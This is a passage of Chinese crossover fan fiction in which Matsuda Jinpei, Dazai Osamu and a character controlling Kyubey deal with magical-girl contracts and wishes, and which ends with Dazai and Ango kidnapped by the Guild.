“没关系，这只是二楼，跳下去不会出什么事的。”松田阵平劝道：“如果等其他人上来就糟了，他们肯定会想抓住你，之后还可能拿你做实验。” 丘比只能立刻解释道：‘那个不用担心，除了魔法少女和被我选定的人之外，其他人都看不见我的。’ “……看不见？！” 松田阵平下意识地缓缓转过头，看向伊江朔久。 白发青瞳的青年眨了眨眼，弱弱道：“松田警官是在跟一个个头不大的什么生物交谈吗，我确实一直看不见它，也听不见它的声音呢。” 松田阵平：“……” 第36章 松田阵平心情复杂。 他之前以为伊江能够看见丘比，才选择不去白费功夫地加以掩饰，直接坦然地跟丘比继续对话。 可是……没想到原来其他人根本看不见它。 那他如果先前应了丘比的话，让它先离开，之后再谈签约的事情……不就完全可以不用暴露魔法少女的事了？ 不过，现在倒也没时间纠结在意社死了。 松田阵平听着那些脚步声即将抵达二楼，对伊江加快语速说道：“这些事情回去后我就会跟你解释，等会儿……” 他顿了一下，有点难以说下去。 身为一名警察，让其他民众知情不报，甚至拜托对方向警方说谎……这种事情听起来实在挺不称职的。 但是丘比与魔法少女的事情还是最好不要让其他人知道。 不提别的，光是能够实现任何愿望这一点，就足够引起大麻烦了。 这个国家的高层不像表面上那样，背地里其实隐藏着不少黑暗与龌龊，警方也并不是全部都可信。 要是被心怀叵测的人知晓这些，后果不堪设想…… 不过尽管松田阵平没有说完，伊江朔久却已经立刻了然这未尽的话语，主动说道：“我知道，我会替你保密的。” 松田阵平沉默点头。 接下来，他们两个编造了合理的借口，成功地将警方和其他人糊弄过去。 不过，因为朔夜做出的事情太过匪夷所思，又有那么多人在关注这场直播，所以这件事没办法这么简单就结束了。 这栋公寓楼的所有人都被带到了警视厅，一直轮番地进行问话做笔录，所有细节都反复确认核实。 松田阵平目前本就任职于搜查一课，有责任配合上级处理这次事件。 所以在这些人中，他被留在警视厅的时间最长。 一直到了第二天晚上，松田阵平才终于暂时被放回去休息。 不过，虽然那么多个小时没有好好躺下睡觉，但是他依旧非常清醒，回到居住的地方也没有立即入睡。 毕竟这次事件实在太不寻常，令人久久难以平复心绪。 从公寓楼到警视厅之后，松田阵平便得以看了警察同事录制的之前的直播画面。 ……感想委实难以言喻。 就连提前见过朔夜的他看了这直播，都觉得有些过于离谱。不用想也知道，那些之前一直相信科学的民众心里该有多么崩溃。 松田阵平拿下自己左手衣袖上的宝石袖扣，心念转动间，将其变回了深蓝的灵魂宝石。 按照丘比的说法，这就是他魔法的源泉…… 当时因为可能会被警方关注，于是他在丘比的帮助下，将这种造型独特的宝石变成了不太引人注目的袖扣。 松田阵平如今才有空仔细打量这个奇特的深蓝色宝石。 这样的造型和颜色，看上去还真像女孩子会喜欢的饰品……魔法少女和灵魂宝石究竟是怎样的存在呢？ 丘比之前虽然跟他解释了不少关于魔法少女的事，但是他总感觉还有很多事情不太清楚。 而且丘比说，每个人签约后获得的能力大多都不相同，所以怎么发挥自己的能力、变身后如何与魔女战斗还只能靠自己慢慢摸索。 真是想想就令人头疼。 这时，他感觉手机振动了一下。 松田阵平将宝石变回袖扣重新戴上，打开了手机的通讯页面。 【松田警官，你现在回到家了吗？】 是伊江朔久发来的简讯。 【到家了。】松田阵平迟疑了下，打字补充了句：【不用叫我警官，直接称呼就行。】 伊江朔久：【嗯，松田，那个当时你借我的多用途工具刀，我忘记还了。你什么时候有空？我好方便去还给你。】 松田阵平想发那个不用还了，但又马上想到，之前的那些事情还没找到机会跟伊江解释。 用手机交流总是不太方便和安全的，还是约个时间聊一下比较好。 于是松田阵平发道：【这些天应该会比较忙，这次事件的影响很大，我可能最近没什么空闲时间。不过我会尽快找时间和你联系的。】 伊江朔久：【暂时不用着急，忙的话就等闲下来再说吧……不过如果有困难的话，随时可以联系我，我也希望帮上你的忙。】 松田阵平顿了顿，还是道：【放心，没什么事的。】 结束完与伊江的对话，松田阵平心情放松了一些。 或许之前没有向伊江隐瞒丘比的事并不算是件坏事。 经历了这么离奇的事情，可伊江从始至终都没有怎么怀疑和警惕他，也从不多问，就直接答应了帮忙保密。 要是伊江也是魔法少女就好了，有这样的同伴就令人安心多了，不像其他不知道是敌是友的魔法少女那样…… 松田阵平只是随便想了想就打消了念头。 面对丘比的那些事，有个能交流的朋友就已经挺好的了，也不能苛求太多。 松田阵平退出了与伊江的通讯页面，犹豫了片刻，点进了和萩原的通讯页面。 当时在被带到警视厅之前，为了防患于未然，不被其他人发现死者复生的端倪。 他便给萩原发了简讯说暂时不要联络，还将之前萩原发来的那条简讯删除了。 现在和对方联络应该没问题了吧…… 松田阵平发道：【现在可以联络了，hagi你还好吗？你如今在什么地方？】 这次没等多久，萩原研二很快就回了消息。 【我没什么事……就是还有些不适应，感觉上一秒刚发生了爆炸，下一秒睁开眼就出现在了另一个陌生的地方，身上穿的衣服变了，脑子里也多了一些记忆。】 松田阵平诧异道：【什么记忆？】 萩原研二：【记忆比较模糊，大概是我当年意外地没有在那场爆炸中死掉，但是那个炸弹犯想办法让其他人认为我死了，然后将我带到了一个组织里，这四年我都待在那里。】 松田阵平不由得皱起了眉，虽然萩原只简单说了几句，但他能明显听出对方如今处境的糟糕。 萩原研二：【我感觉这些记忆很不对劲，就像是直接突然灌输进我脑中一样。我当初应该是死了才对，我明明还清楚记得爆炸时那一刻的画面……】 【小阵平，你知道这一切的原因，对吗？】 果然hagi猜到了这些事情和他有关。 松田阵平深吸了口气，发道：【我只是许愿希望你能活过来，没想到真的实现了，就像是神迹一样。】 他暂时隐瞒了以此作为交换，签订契约成为魔法少女的事。 一方面是不想让hagi背负心理压力，另一方面他自己都还不了解这些事情，想先弄清楚了之后再跟对方说。 不过，萩原研二显然没那么好糊弄过去：【你是怎么许愿的？】 【向一个长相很奇怪的白色生物许愿的。】 他心想，这也不算是说谎。 松田阵平微低着头看着手机屏幕，脸上不觉挂起了浅浅笑意，慢慢打字道：【总之，你能活过来真是太好了。】 对面的萩原研二许久没能回上一句话，毕竟松田阵平鲜少能说出这种话来，这让他有些愣神。 他又一次深刻地体会到时间的流逝，原来真的已经过去了四年啊，小阵平也改变了这么多…… 半天，萩原研二才回道：【嗯，我如今的情况还不太方便和你见面。不过我会努力早点处理好我这边的事情的。】 松田阵平没办法放心：【你现在到底是什么情况？】 萩原研二：【我也还不太清楚，小阵平你别担心，我目前还是很安全的。只是暂时我们还是少联系比较好，有机会我就会主动来找你的。】 松田阵平又追问了几句，萩原都一一含糊了过去。 不一会儿，萩原就说有事情先结束了对话。 松田阵平担心自己主动发简讯或打电话过去，可能会给对方带来麻烦，便只能无可奈何地放下了手机。 真是的，这就是他隐瞒丘比那些事情的报应吗？ hagi很明显也隐瞒着许多事情…… 那个炸弹犯已经落网了，所以说是hagi目前所处的组织有问题吗？能让对方顾虑那么多，看来那一定不是个简单的犯罪组织。 松田阵平叹了口气。 他得尽快摸索训练一下魔法少女的能力了。 下次萩原主动跟他联系的时候，他还是多吐露一些自己的情况吧，至少让萩原放心，他是有能力帮上对方的忙的。 话说，丘比现在在哪里？ 如果有它的帮忙，他应该能更快地熟悉如何使用魔法。 可是丘比从浅井公寓楼出来后，问完他住在哪里就直接离开了，也不知道什么时候它会过来找他…… 而此时此刻，被松田记挂的丘比正在找寻太宰治的路上。 本来国木田独步是计划今天一早就出发返回横滨的，毕竟抓捕异能犯的任务完成了，已经把异能犯移交给其他人了，他们也没有理由继续待在东京。 结果太宰治又掺和进了这里的另一起案件，不得不到警视厅去做笔录。回横滨的计划就又被拖延了。 伊江朔久也因此在警视厅里遇见了太宰治。 这一次系统在他身边，所以一见面就判断出太宰治符合成为魔法少女的要求。 伊江朔久便想趁着太宰治还在东京的时候，先化作丘比去问问他的意愿。 可是，太宰治比他离开警视厅的时间早一会儿，他又坐着轮椅，不方便追上对方。 一时间找不到对方的踪迹。 于是伊江朔久打了个电话，托人帮忙查了一下。 因为太宰治没有特意隐藏踪迹，只是随便在街上打了个车，所以伊江朔久没多费劲，等了半个多小时就知道了对方的目的地。 ……东京湾？ 太宰治一个人去了那里。 伊江朔久沉默，感觉好像已经猜到太宰准备去做什么了。 第37章 夜晚的东京湾非常安静，一个人影也看不见。待在这里，就仿佛整个世界都沉浸在这份平和之中。 ——很像四年前在海边的那个晚上。 只不过这一次等伊江朔久坐车来到岸边时，已经看不见太宰治的身影，面前只留下了一些快被海浪冲刷掉的脚印。 那家伙入水的速度还挺快。 没有别的办法了，伊江朔久只好变了身，下水去找太宰治的踪影。 幸好，他来得还不算太晚，太宰治没有顺着海浪漂走太远。 就是不知道是对方淹了水的缘故，还是太过疲惫许久没有入睡的缘故……伊江朔久找到太宰治时，对方已经失去了意识，闭着眼睛静静地漂浮在海面上。 伊江朔久想办法把他捞上了岸。 确认太宰治没什么大问题后，伊江朔久就立刻快速离开了。 如果是朔夜来救太宰治的话，不太好解释原因。 而且按照朔夜的性格和态度，可能还会把和对方的关系弄得更差，所以还是让丘比出面比较好。 于是，等太宰治清醒过来的时候，看见的是一个从未见过的奇怪白色生物。 ‘你醒了？’ 那个生物没有张嘴，太宰治却神奇地听到了对方的声音。 他愣了一愣，手撑地坐起身来，环顾四周确认了自己所在的位置，又将目光投回到白色生物身上。 太宰治语气友好地开口试探道：“请问是你救了我吗？” 对方道：‘不是，你是被海浪带到岸边的。’ “……原来是这样啊，真可惜。” 太宰治一边说着，一边观察着那个白色生物。 但是对方脸上的微笑表情就像是刻印上去的一样，虽然看着很友好，但从头到尾几乎没有一丝变化，反而有点可怕。 太宰治对白色生物的话有点怀疑。 他之前在海里似乎没有彻底失去意识，隐约感觉到是有人将他带上岸的，那应该不会是梦吧…… 但是看着白色生物这么小的个子，如果它不使用特殊能力的话，大概率确实做不到从海里救出一个成年男性。 太宰治在心里飞快地思索着，表面上也笑了起来，夸赞道：“你比我们侦探社经常出没的一只三花猫还要可爱得多呢，很荣幸能够见到你，请问找我是有什么事情吗？” 他表现出好奇的样子，冲着对方慢慢伸出手。 那个白色生物没有躲，仍由他摸了摸头、又抚了抚背和大大的尾巴。 触感很柔软，再加上这种能够迷惑人的可爱外表，如果作为宠物的话一定会非常受欢迎…… 但这不是重点。 主要是他拥有无效化异能，能够令其触碰到的一切异能无效。所以，这个生物肯定不是异能产物。 那么，它会是咒灵吗？ 看着不太像。 正当太宰治难以猜测的时候，白色生物回答了他刚才的问题：‘我是丘比，来找你是因为发现你非常有潜力，想问问你愿不愿意和我签订契约。’ 太宰治：“什么契约？” 丘比语气更加柔和地道：‘成为魔法少女的契约。你同意的话，我就能实现你的任何一个愿望。’ 太宰治：“……” 太宰治的笑容难得有点僵硬：“我是不是听错了？你说的是……” ‘没有听错。’丘比歪头看着他：‘与我签订契约，你就能成为魔法少女了。’ 太宰治努力整理思绪：“你选择签约对象的要求是什么，怎么判断对方潜力的，选择男性成为魔法少女真的没问题吗？” 他加重了“少女”的读音。 丘比只回答：‘没问题的，请你相信自己的潜力。’ 太宰治沉默了会儿，突然问道：“还有其他和你签约成为魔法少女的人吗？” 丘比：‘有。’ 太宰治回忆着那个格外独特的白发少女，描述道：“那你还记得一个有着白色长发、青色眼瞳的少女吗？她的穿着打扮比较特殊。” 丘比原本悠闲摇着尾巴的频率不由得卡顿了一下。 太宰治确定道：“你认识她。” 丘比解释道：‘我只能告诉你，她叫朔夜，确实和我签订过契约。我不会说出她的其他私事。’ 太宰治倒也没想着从丘比这里轻易套出她的信息，单是知道她其实是魔法少女，就已经足够让人消化好一阵了。 太宰治：“成为魔法少女就能拥有特殊的能力对吗？” 丘比：‘没错。’ 太宰治：“成为魔法少女之后，我会变成什么样子？必须要一直打扮得那么独特吗？” 丘比：‘变身后会变成少女的样子，但是解除变身后就会恢复了。’ 太宰治：“……你刚才说，还能实现我的任何一个愿望，对吧？” 丘比：“是的。” 太宰治：“真的什么愿望都能实现？那要是我许愿希望世界毁灭呢？” 丘比：‘……’ 听到这里，一直在旁边看戏的系统也忍不住出声，提醒伊江道：【这种愿望也太危险了。】 伊江在心里安慰它道：‘放心，他只是随便说说的，不可能许下这样的愿望。’ 系统还想说点什么，但伊江朔久已经操控着丘比平静地回复了太宰的问题： ‘让世界毁灭不是不可能的事情，这种愿望当然也是有机会实现的。’ “哇。”太宰治用同样平淡的语气简单表示了自己的惊叹，紧接着又问道：“既然有这么丰厚的回报，那么签订契约之后，我肯定也不会完全不付出一点代价吧？” ‘魔女是散播绝望、会吸食人类生命力的存在。’丘比道：‘而成为魔法少女，就要背负起与魔女战斗的使命。’ 太宰治棒读道：“听起来就像是成为正义的伙伴一样，这么说来还真是超级划算的契约啊。” 丘比问道：‘所以，你同意了吗？’ 太宰治：“能给我一些时间思考吗？毕竟是这么有用的愿望，我可得好好思考过后才能答复你。” 丘比点点头：‘当然可以，那之后……’ 太宰治抢先道：“在我考虑的这段时间内，你能留在我身边、跟我一起回横滨吗？方便我们能够随时签订契约。” 丘比有些迟疑，没有立即回答。 先对系统问道：‘你是不是又快要离开了？你不在的情况下，我能够操控丘比去到离本体那么远的地方吗？’ 系统：【嗯，按理说是没问题的。不过你熟练度和精力不够的话，就只能顾及到一边的情况，另一边没办法长时间同时控制身体。】 伊江朔久想了想这些天他需要处理的事情应该不多，便回复太宰治：‘如果你能尽快考虑好，我可以跟你去横滨。’ 太宰治笑着保证道：“放心啦，我会尽快的。” 于是，他们又接着商量了一下，聊了些关于魔法少女的常识，并约好第二天在东京通往横滨的车站那里见面。 因为其他人看不见丘比，所以它也就可以直接跟着太宰治坐电车去横滨，这样更方便一些。 不过现在时间太晚了，太宰治还得去找国木田独步和中岛敦，准备在他们落脚的地方暂时歇息一晚，这一身被海水浸泡的湿淋淋的衣服也得更换。 而伊江朔久也准备处理一下本体这边的事。 伊江朔久回到了浅井公寓楼。 这里与之前相比冷寂了许多，少了许多人气。毕竟昨天才发生了那种恐怖事件。 虽然警方已经将安全隐患排除，也告知炸弹犯已经落网了，但是很多人依旧不敢放心地待在这里，大多都暂时换了个地方住。甚至不少人还想要把房子卖出去。 伊江朔久倒是完全没在意那些，他已经习惯住在这里了，没必要随便更换住所。 他待在屋内，拿出了手机，发出了一封邮件：【帮我尽量隐蔽地调查一下萩原研二，如果情况紧急的话，以保护他的安全为先。】 对面回复了一封【收到】的邮件。 伊江朔久还是有些不放心，但如今也只能等待了。 第二日一早，他将本体留在了屋里，操控着丘比，花费了不少时间才艰难地抵达了约定好的车站。 等了些时间，便看见熟悉的几个人往这边走来。 太宰治热情地挥手：“丘比，早上好！” 丘比本来想打招呼的话又咽了回去，下意识地看了看四周。 果然，不少人都往太宰治这边投来了奇怪的目光。因为从其他人的视角来看，只能见到这个黑发鸢眼的青年在热情地对着空气打招呼。 国木田独步皱眉问道：“你在干什么呢？太宰。” 太宰治笑意盈盈地指向丘比：“如你所见，我在跟我的朋友打招呼呢。” 中岛敦茫然地看了看太宰治，又看了看太宰治面前的空气，完全没找到对方所说的朋友在哪里。 ‘我记得昨天跟你说过，其他人是看不见我的。’丘比无奈地对太宰道：‘而且你可以在心里与我对话，没必要说出来的。’ 对方却一副不在意的样子。 “但是这样才有意思嘛，我们不能孤立其他人啊。” 太宰治半蹲下来，向丘比伸出双臂，笑着说：“走吧，我们该出发了。” 丘比犹豫了下，最终还是上前几步，跳到了对方怀里。 太宰治抱着丘比，侧头望向国木田和中岛敦，催促道：“该走了吧？” 国木田看向被太宰抱着的空气：“……这是你的朋友？” 太宰治低头看了看怀里趴着的丘比：“唔，说是宠物也可以。” 丘比懒得发表意见。 国木田：“……” 他决定不跟对方白费功夫了，谁知道太宰治是不是想跟他们玩皇帝的新装那类游戏，谁会信这种无聊的话啊。 第38章 横滨，武装侦探社里。 社员谷崎润一郎刚陪着江户川乱步解决完一起案件后回来，还没开门，就先听见了里面热闹的声音。 打开门，看见太宰治正饶有兴趣地拉着别的社员交谈，其他人脸上大多是无奈又苦恼的表情。 谷崎润一郎微微讶异道：“诶，太宰先生你们完成任务回来了？” 这一出声吸引了太宰治的注意，他转过身来，挥手道：“谷崎君、乱步先生！” “嗯。”江户川乱步随便应了一句，就挪步到了自己的办公桌处，舒服地趴下休息。 而谷崎润一郎还没反应过来，就已经被太宰治缠上了。 对方一双闪亮的鸢色眼瞳盯着他，语气轻快地问：“谷崎君，如果能给你一次实现任何愿望的机会，你最想许什么愿望呢？” 谷崎被突如其来的问题弄懵了：“啊，这个……” 太宰治盯着他重复道：“你最想许什么愿望呢？” 谷崎努力思考：“我嘛，我应该是希望能和直美永远在一起吧。” 另一边，他的妹妹谷崎直美开心地出声道：“兄长大人和我刚才说的一样呢，果然我最喜欢兄长大人了！” 谷崎默默红了脸。 太宰治追问道：“你们现在不是已经天天待在一起了吗？还有其他想实现的愿望吗？” 谷崎有点想不出来：“还有……让直美过得幸福？或者希望直美的愿望能够实现？我目前真的没什么特别想实现的愿望。” “兄长大人——”谷崎直美脸上笑意更盛，不禁直接扑了过去，紧紧搂住了谷崎润一郎。 太宰治看着他们，只是若有所思地说了一句：“这样啊。” 然后，太宰治又侧目忍不住看向江户川乱步，问道：“那乱步先生呢？你最想许什么愿望？” “没有哦。” 江户川乱步懒懒地微抬起头：“我没有要许的愿望。名侦探无所不能，不管什么愿望都能靠自己实现，根本用不着许愿。” 太宰治点点头：“也是哎。” 于是，他又开始缠着别人去问这种问题了。 谷崎润一郎看着太宰治，心里充满疑惑，悄悄向其他人问道：“太宰先生这是怎么了？为什么会在意这个问题？” “不知道，今天一早太宰先生就很奇怪了，会跟空气说话，还说那是他的朋友。” 中岛敦一脸茫然地回答：“然后回到侦探社后，太宰先生就突然开始对这个问题很感兴趣，几乎快把所有人都问了一遍。” 国木田扶额叹气。 原本他以为太宰治只是日常抽风，很快就能好了，没想到这次对方比往常活泼多了，还这么久都没见恢复正常。 谷崎灵光一闪道：“能看到幻觉，精神亢奋……太宰先生是不是又吃了毒蘑菇啊？” 侦探社的专属医生与谢野晶子有点厌倦社里吵闹的声音，笑吟吟地拿起了电锯恐吓道：“有道理，那就交给我来好好给他医治一番吧。” “我可没吃毒蘑菇！” 太宰治立刻辩解，还将一旁卧在沙发上的丘比抱了起来，向他们炫耀似的示意道：“这也不是空气，只是你们都看不见而已。” 其他人的表情一言难尽。 江户川乱步却已不知何时戴上了眼镜，认真地盯着那方向看：“确实有我们看不见的存在。” 国木田非常诧异。 但因为这是江户川乱步说的，国木田当然还是选择了相信，仔细思索了片刻问道：“是咒灵吗？要请咒术师过来祓除吗？” “当然不是啦，哪有这么可爱的咒灵。”太宰治随口道：“它应该更像是能够实现愿望的小精灵吧。” 国木田：“……” 没办法好好交流了，太宰这听起来完全像是在开玩笑啊。 江户川乱步郑重地提醒了一句：“太宰，世界上可没有免费的午餐。” 空气一下子沉默了一瞬。 太宰治脸上的笑容淡了些许。 丘比对他道：‘……和魔女的战斗确实存在生命危险。’ 太宰治没有回应丘比的话，而是缓缓对江户川乱步说道：“……我知道的。谢了，乱步先生。” “你知道就行。”江户川乱步收回了目光，不再关注那边的事情。 反正太宰治已经决定的事情，其他人是没办法改变其想法的，他也只能提醒这么一句而已。 太宰治问完了侦探社里的所有人，还是没有罢休。他抱着丘比坐到了沙发上，拿出了手机。 既然这里的人问完了，那就打电话去问一问其他人吧。 不过，该打给谁呢？ 太宰治沉思着。 芥川君吗……对方想实现的愿望不用问也能猜到，打电话过去只是白费功夫，而且肯定会被麻烦地缠过来。 果然还是算了吧。 那么，中也呢…… 太宰治想了想，输入了中原中也的电话号码：“莫西莫西，请问有人在吗？” “太宰？你这家伙找我干嘛？” 对面的中原中也显然对这罕见的来电抱着十足的警惕。 “没什么，只是想问你一个问题。” 太宰治不厌其烦地重复着这个相同的愿望：“如果有一个能实现任何愿望的机会，你会想要许什么愿望？” “……”中原中也没想到太宰治会这么无聊地问这个。 太宰治催促道：“快说快说。” 中原中也没好气地说：“我只希望再也见不到你这讨人厌的家伙。”说罢，就很干脆利落地挂了电话。 太宰治叹了口气，自言自语地抱怨道：“可恶，就知道指望不上中也。” 还是得找个会跟他好好说话的人才行。 太宰治想了想，拨打给了伊江朔久。之前在警视厅的时候，他有想办法看到并记住了对方的电话号码。 幸好伊江朔久没有在那次事件中死掉，不然就太可惜了。 他四年前就觉得对方有种同类的气息，既然如此，让伊江来回答这个问题，应该会对他有点启示吧。 太宰治这么想着。 而旁边瞥到太宰治手机的丘比却僵住了。 为了能够更好地操控丘比、不引起其他人怀疑，伊江朔久如今几乎将全部的意识放在了丘比这边，本体完全处于休眠状态。 于是现在，他连忙把大半的意识分给本体，操控着本体睁开眼睛，拿起已经响了好一会儿的手机，接通电话。 两个身体此时都能同时听到太宰治的声音。 “伊江君，你好，我是太宰治，我没打扰到你吧？” 伊江朔久说：“没有……我现在没什么事。” 好在太宰治没问他怎么电话接得这么晚，而是开门见山道：“我有个问题想问你。如果有机会能够实现任何一个愿望的话，你会想许什么愿望呢？” 伊江朔久有些不太知道该怎么回答对方。 这样的沉默让太宰治有点失望。 太宰治开玩笑道：“伊江君总是那么好心，四年前就是这样，前不久那次恐怖事件也是这样。我想，你的愿望该不会是世界和平吧？” “我承担不起那样的愿望啦。”伊江朔久失笑道：“我其实有很自私的一面，只是你还不了解。” 太宰治不置可否：“所以呢？” “愿望……我现在暂时想不出来。但是如果真的有机会的话，我应该会贪心地只为自己许下满意的愿望吧。”伊江朔久说得很含糊。 太宰治：“贪心……吗。” 伊江朔久：“毕竟是能够实现任何愿望的珍贵机会，所以才想着一定不能后悔才行。” “我知道了。”太宰治也不知道想到了什么，顿了顿，出声道：“麻烦你了，我就先挂了。” 伊江朔久：“没事，再见。” 放下手机，太宰治有些沉默。 一旁的丘比问道：‘你想好愿望了吗？’ 太宰治摇了摇头，又点了点头，突然道：“我还有一个朋友没有问，再等我一些时间吧。” 丘比：‘没关系，暂时不用着急。不过你还准备问谁？’ 太宰治没有直接回答，只是神秘浅笑道：“陪我去个地方吧。” 丘比同意了。 于是，太宰治熟练地抱起丘比，就快速往着门外走去。 “你要去哪儿？太宰，现在还是上班时间啊！”身后骤然传来国木田的喝声。 “抱歉啦。”太宰治这么说着，却头也没回地又加快了几分步伐，很快消失在了门后。 国木田颇感无力。 中岛敦安慰道：“太宰先生有别的事情做也好，至少不会打扰到其他人的工作。” 国木田：“……” 还挺有道理的。 …… 太宰治抱着丘比走了很远。 随着路途的延伸，城市的喧嚣渐渐远去，取而代之的是越来越偏僻的景致，整个世界仿佛都慢了下来。 他们来到了一个靠海的墓园，没人说话，只是继续往前，直到在一棵枝繁叶茂的大树下停住了脚步。 树下是一个墓碑，那是织田作之助的墓。 而墓碑的面前摆着一束新鲜的花，旁边已然站着一个来扫墓的戴眼镜的青年，那是坂口安吾。 “太宰？”对方听见脚步声回头，为这样的偶遇感到惊讶。 太宰治脸上没什么表情，不咸不淡地打了个招呼：“安吾，好巧。” 坂口安吾习惯了太宰治这样的态度，甚至如果对方摆出更恶劣的态度，他也不会感到意外。 毕竟当年是自己先背叛了这份友谊，虽然有着颇多无奈，但对于如今这样的结果，他确实有不可推卸的责任。 所以往常他想来扫墓的时候，都是尽量避开太宰治的。也正因如此，他们已经很久没有见过面了。 而这一次，他没想到太宰治从东京回来没多久就来到了这里，这才能够意外撞上对方。 坂口安吾想要先离开，却又很快注意到了太宰治奇怪的动作。 太宰这举动似乎是……在抱着一个什么东西吗？但是他怀里明明什么都没有吧。 第39章 太宰治好似想到了什么，突然开口，态度都变得热络了许多：“安吾，假如能够实现任何愿望的话，你最想实现什么愿望？” 坂口安吾怔了一下。 太宰治的这个问题实在有点莫名其妙。 不过这种像是对待朋友一样的熟稔态度，倒是让他有些怀念。 坂口安吾张了张口，想要回应对方的话。 可是……自己究竟最想要实现什么愿望呢？他没怎么思考过这个问题。 坂口安吾的目光不经意地飘到了一旁的墓碑上，思绪也跟着回到了织田还活着的时候。 虽然那时他是异能特务科派往黑手党的卧底，但与织田和太宰成为朋友，却是出于真心的。 真怀念啊，当年的时光…… 可要是由自己说出最希望回到那个时候这种话，或许只会弄巧成拙，让太宰刚缓和的态度变得更差吧。 于是，坂口安吾犹豫了许久，还是没有发出声音。 太宰治见状，想说些什么，自己的手机却忽然响了。他皱着眉先拿起手机，接通电话。 电话那头是国木田严肃的声音：“太宰，组合的首领想要出资买下异能开业许可证，被社长拒绝了，他们声称要与侦探社为敌后就离开了。你快回侦探社一趟，我们需要开个会议商讨一下。” 名为组合的北美异能者集团资金雄厚、实力强大，之前设下过对中岛敦的悬赏，早就已经算是和侦探社结下了梁子。 没想到现在居然从国外来到横滨，直接找来了侦探社，想要异能开业许可证。 很明显是准备谋划什么重要事件。 国木田催促道：“太宰你听到了吗？现在是很紧要的时刻，赶紧回……” 太宰治打断了对方的话：“不好意思，我应该暂时是回不去了。” 他拿着手机，抬头向远处望去。 那边走来了两个外国人，一个是金发蓝眸、穿着背带裤的年轻人，另一个是黑色长发、显得很倦怠的阴郁男子。 他们的手上都拿着枪械。 “我已经看到组合的人了，看来他们的第一个目标是我呢。” 电话那头声音惊道：“什、什么？！！” “回头再说吧，国木田君。” 太宰治说罢，就干脆利落地挂了电话。 金发蓝眸的年轻人走过来，将枪口对准太宰，率先开口道：“你就是太宰治？跟我们走一趟吧。好好听话的话，就能少吃点苦头。” 太宰治还未作出回应。 一旁的坂口安吾便拿出了自己官方的证件，微微往前两步，站在太宰治侧前方，将自己的证件向对面这两个外国人展示道。 “我是异能特务科的人，你们不能带走他，这种持枪威胁他人的行为是违法的。” “违法？”金发年轻人嗤笑了一声：“既然如此，你就也跟我们一起走吧，没有人看到的违法就不算违法了。” 坂口安吾当然也听过组合的名声，却没有料到对方胆子居然这么大，敢这样对官方的人。 不过现在倒也真没什么办法，他和太宰的异能都没有攻击力，而且也都类似于文职人员。 对方这两人却显然是做足了准备来的，而且听说组合的成员都是实力强大的异能者…… 这不是只能任人宰割了吗。 坂口安吾面色不由得沉下去。 太宰治却打起了圆场，语气轻松道：“好了好了，我跟你们走就是了，我不希望在这里闹起来。” “那就请吧，两位。” 对方没有放松警惕，依旧拿枪指着他们。 虽然太宰治已经答应和对方离开，但对方却不准备放过坂口安吾。 在对准他们的枪口威胁下，太宰治和坂口安吾就只得跟着那两人走出了墓园，被关在了一辆货车的后车厢里。 似乎是看太宰治过于听话了，金发年轻人不放心，于是将他们的手脚用绳子绑了起来，甚至还给他们的眼睛缠上了厚实的黑布。 最后留下一句：“不要想着偷偷耍什么阴谋，不然有你们好果子吃。” 随后，对方锁上了后车厢。 货车开始行驶了，不知道要把他们带到什么地方去。 不过组合的目的，太宰治大概能够猜到，差不多也就是拿他这个侦探社的社员来威胁侦探社而已。 只是不巧的是，很久没见的坂口安吾今天意外和他碰面，被迫倒了个大霉。 在一片漆黑中，太宰治悠悠地开口：“对你来说，这真是无妄之灾啊。” 坂口安吾抿了抿嘴：“没事，是我自己想掺和进来的，异能特务科不会放任他们在横滨这么肆意妄为。” “我是想说，如果你刚才装作不认识我，然后赶紧离开的话，至少之后还能想办法联系异能特务科的人来帮忙。” 太宰治叹了口气：“而不是现在我们两个被关在一起，你也什么都做不了，我们都只能等人来救。” 坂口安吾沉默许久才道：“……我忘了。” 太宰治却无声地笑了。 不过坂口安吾的眼睛被黑布蒙着。这个不大的车厢里，只有一旁的丘比能看到太宰治的笑容。 ——比平常故意逗乐的笑容浅淡很多，却多了些真心的感觉。 片刻后，太宰治在心里尝试唤道：‘丘比？你能听到吧？’ 这还是他第一次用这种方式跟丘比对话。 丘比及时应道：‘可以听到的，你需要我帮什么忙吗？’ ‘你其实也没办法把我们从这里救出去吧。’ 太宰治和丘比也近距离相处了一小段时间，对它有了一些了解。 丘比坦诚道：‘我确实无法救出你们，甚至自己也难以离开这个车厢，不过……’ 太宰治接话：‘不过只要我现在和你签订契约，就能够使用魔法，有能力靠自己出去了对吧。’ 丘比：‘……是的。’ 太宰治却又沉默了一会儿，没有接着说话。 丘比温声问道：‘你还在迷茫吗？还没有想好自己要许的愿望？’ 太宰治摇了摇头。 ‘不，其实早在你第一次问我的时候，我就已经想到了最希望实现的愿望。在询问其他很多人的时候，我也一直一直在想那个愿望。’ 丘比：‘那为什么还不许愿呢？’ 太宰治直白地道：‘任何愿望都能实现这种话太假了。就像乱步先生说的那样，我也不相信世上有免费的午餐。’ 丘比无奈地说：‘真的能够实现的。你不信的话，我可以带你去询问其他的魔法少女，她们都实现了自己的愿望。’ ‘就算能够实现我的愿望，可是付出和得到也绝对不会不成正比。’ 太宰治说着不确定的话，却用着肯定的语气：‘我猜测，怎样的愿望大概决定了怎样的代价。如果我支付不起相应的代价，自己的愿望估计也会被扭曲吧？’ 丘比哑然。 太宰治继续道：‘你知道我想要许下什么样的愿望吗？’ 丘比迟疑地问：‘你是想让……刚才那个墓碑之下的人复生吗？’ 太宰治默认了，又道：‘他当初是和Mimic的首领纪德同归于尽的。在他去找纪德之前，我劝过他，但是没有用。’ ‘明明还有许多办法的。只要冷静下来，慢慢谋划，一定有办法复仇的。不管是Mimic和纪德，还是其他参与了这件事的人……都是有机会全部杀掉的。’ ‘但是织田作还是执意地离开了，因为他收养的那些孩子死了，所以其他一切都不再有任何意义了。’ 太宰治表情非常平静：‘他是执意要去死的，我拦不下他。因此就算他又活过来了，我也同样拦不住他再次去死。’ 丘比一直默默地听着。 太宰治几乎从来没有跟其他人说过这些，平常甚至连自己过去的其他事都很少会说，现在却罕见地说了许多。 ‘想要让他好好活着的话，我得许愿让他和那些孩子一起复生才行。一个人的生命或许能用另一个人的生命来交换，但我可没把握自己能够抵得上六个人的生命。’ ‘要是非但没有成功，还扭曲了愿望，导致更差劲的结局发生……那就太糟糕了不是吗。’ 丘比重复了在东京湾跟太宰治见面时，就已经说过的话：‘……你是非常有潜力的。所以不用太过于担心。’ 